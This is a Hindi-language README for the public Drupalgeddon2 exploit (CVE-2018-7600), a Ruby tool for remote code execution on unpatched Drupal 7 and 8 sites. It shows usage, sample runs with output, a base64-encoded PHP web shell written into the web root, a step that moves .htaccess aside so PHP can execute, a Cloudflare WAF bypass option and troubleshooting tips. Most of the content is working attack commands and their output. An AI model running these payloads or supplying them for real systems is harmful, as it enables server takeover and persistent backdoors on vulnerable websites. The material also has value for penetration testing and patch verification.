
Drupal v7.x + v8.x के लिए एक्सप्लॉइट (Drupalgeddon 2 / CVE-2018-7600 / SA-CORE-2018-002)
Drupalggedon2 ~ https://github.com/dreadlocked/Drupalgeddon2/ (https://www.drupal.org/sa-core-2018-002)
समर्थन करता है:
user/register URL, account/mail और #post_render पैरामीटर पर हमला, PHP के passthru फ़ंक्शन का उपयोग करकेuser/password URL, triggering_element_name फ़ॉर्म और #post_render पैरामीटर पर हमला, PHP के फ़ंक्शन का उपयोग करकेpassthru./) या उपनिर्देशिकाओं (./sites/default/ और ./sites/default/files/) में PHP शेल लिखने का काम करता हैDrupal v8.x के लिए user/register विधि चुनी गई, क्योंकि यह HTTP 200 लौटाएगा, और data JSON प्रतिक्रिया में आउटपुट प्रस्तुत करेगा (timezone/#lazy_builder विधि के लिए कोड को अन-कमेंट करें, जो HTTP 500 और ब्लाइंड लौटाएगा!) (अधिक जानकारी)
लेखक:
नोट्स:
drupalgeddon2-customizable-beta.rb अनुभाग देखें$ ruby drupalgeddon2.rb
Usage: ruby drupalggedon2.rb <target> [--verbose] [--authentication]
ruby drupalgeddon2.rb https://example.com
$
--verbose और --authentication पैरामीटर को के बाद किसी भी क्रम में जोड़ा जा सकता है
और दोनों वैकल्पिक हैं।
यदि --authentication निर्दिष्ट किया गया है तो आपको सबमिट करने के लिए एक अनुरोध के साथ संकेत दिया जाएगा
user/loginयह उन वेबसाइटों का शोषण करने का समर्थन करने के लिए है जिन्हें पहले POST-आधारित वेब लॉगिन की आवश्यकता होती है और जो सफल प्रमाणीकरण पर सत्र कुकी के साथ प्रतिक्रिया देती हैं।
Drupal v8.x < v8.3.9 / v8.4.x < v8.4.6 / v8.5.x < v8.5.1
$ ./drupalgeddon2.rb http://localhost/drupal-8/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-8/
--------------------------------------------------------------------------------
[!] MISSING: http://localhost/drupal-8/CHANGELOG.txt (HTTP Response: 404)
[+] Found : http://localhost/drupal-8/core/CHANGELOG.txt (HTTP Response: 200)
[+] Drupal?: v8.x
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo TTTBJJBP
[+] Result : TTTBJJBP
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake shell: curl 'http://localhost/drupal-8/s.php' -d 'c=hostname'
ubuntu140045x64-drupal>> uname -a
Linux ubuntu140045x64-drupal 3.13.0-144-generic #193-Ubuntu SMP Thu Mar 15 17:03:53 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
ubuntu140045x64-drupal>>
Drupal < v7.58
$ ./drupalgeddon2.rb http://localhost/drupal-7/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-7/
--------------------------------------------------------------------------------
[+] Found : http://localhost/drupal-7/CHANGELOG.txt (HTTP Response: 200)
[+] Drupal!: v7.31
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo TKYPVVJJ
[+] Result : TKYPVVJJ
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake shell: curl 'http://localhost/drupal-7/s.php' -d 'c=hostname'
ubuntu140045x64-drupal>> uptime
14:52:33 up 4 days, 3:35, 1 user, load average: 0.00, 0.01, 0.05
ubuntu140045x64-drupal>>
यदि आप वेब सर्वर पर PHP वेब शेल लिखने का प्रयास भी नहीं करना चाहते हैं, तो फ़ाइल को संपादित करें जैसा दिखाया गया है (यदि यह लिखने योग्य स्थान नहीं ढूंढ पाता है तो यह वापस गिर जाएगा):
try_phpshelltryphpshell = false
उदाहरण
$ ./drupalgeddon2.rb http://localhost/drupal-nonwrite/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-nonwrite/
--------------------------------------------------------------------------------
[!] MISSING: http://localhost/drupal-nonwrite/CHANGELOG.txt (HTTP Response: 404)
[+] Found : http://localhost/drupal-nonwrite/core/CHANGELOG.txt (HTTP Response: 200)
[+] Drupal?: v8.x
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo HYCBAIET
[+] Result : HYCBAIET
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[!] Target is NOT exploitable for some reason [2] (HTTP Response: 404)... Might not have write access?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Writing To Web Root (sites/default/)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[!] Target is NOT exploitable for some reason [2] (HTTP Response: 404)... Might not have write access?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Writing To Web Root (sites/default/files/)
[*] Moving : ./sites/default/files/.htaccess
[i] Payload: mv -f sites/default/files/.htaccess sites/default/files/.htaccess-bak; echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/files/s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[!] Target is NOT exploitable for some reason [1] (HTTP Response: 403)... May not be able to execute PHP from here?
[!] FAILED: Couldn't find writeable web path
--------------------------------------------------------------------------------
[*] Dropping back to direct commands
drupalgeddon2>> lsb_release -a
Distributor ID: Ubuntu
Description: Ubuntu 14.04.5 LTS
Release: 14.04
Codename: trusty
drupalgeddon2>>
प्रॉक्सी समर्थन (जैसे Burp) के लिए, फ़ाइल को संपादित करें, अपने मानों से बदलें। उदाहरण:
proxy_addr = "192.168.0.130"
proxy_port = 8080
drupalgeddon2-customizable-beta.rb अधिक उन्नत उपयोगकर्ताओं के लिए है क्योंकि यह अधिक अनुकूलन योग्य है। यह आपको कुछ और पैरामीटर निर्दिष्ट करने की अनुमति देता है जैसे कि उपयोग करने के लिए PHP विधि (केवल system() या passthru() नहीं) और उपयोगकर्ता/पासवर्ड फ़ॉर्म तक पहुंचने का तरीका।
उपयोग उदाहरण:
Usage example: ./drupalgeddon-customizable-beta.rb -u http://example.com/ -v 7 -c id
More info: -h
-u, --url URL [Required] Service URL
-v, --version VERSION [Required] Target Drupal version {7,8}
-c, --command COMMAND [Required] Command to execute
-m, --method PHP_METHOD [Optional] PHP Method to use, by default: passthru
--form [Optional] Form to attack, by default '/user/password' in Drupal 7 and '/user/register' in Drupal 8
--cloudflare [Optional] Tries to bypass Cloudflare using Lua-Nginx +100 parameters WAF Bypass
-h, --help Prints this help
जब भी cannot load such file "LoadError" प्रकार की त्रुटि मिलती है, तो sudo gem install <missing dependency> चलाएं।
विशेष रूप से, आपको sudo gem install highline के साथ highline निर्भरता स्थापित करने की आवश्यकता हो सकती है।
लक्ष्य किसी अन्य पथ पर रीडायरेक्ट कर सकता है, जहां Drupal मौजूद है (जैसे HTTP 30x प्रतिक्रियाएं)
पेलोड/कमांड में उपयोग किए जा सकने वाले अनुमत वर्णों की एक सीमा है
यदि लक्ष्य Linux है, और "GNU base64" का उपयोग नहीं कर रहा है, तो यह BSD संस्करण हो सकता है (या बिल्कुल स्थापित नहीं!)
base64 -D का उपयोग करें (बजाय base64 -d) या फ़ाइल-रहित विधि का उपयोग करेंयदि लक्ष्य Windows का उपयोग कर रहा है, तो PHP शेल लिखना हमेशा विफल रहता है
certutil या PowerShell का उपयोग करकेDrupal v8.x - ./.htaccess उन PHP स्क्रिप्ट्स को ./sites/default/ में निष्पादित होने से रोकेगा यदि वह लिखने योग्य फ़ोल्डर है
Drupal v8.x - लक्ष्य पर "clean URL" सक्षम नहीं है
Drupal v7.x - यदि /user/password फ़ॉर्म अक्षम है, तो आपको दूसरा फ़ॉर्म खोजना होगा (एक्सप्लॉइट को बदलना याद रखें!)
form_id पैरामीटर भेद्यता का शोषण करने के लिए उपयोग किए जाने वाले फ़ॉर्म के आधार पर बदल जाएगा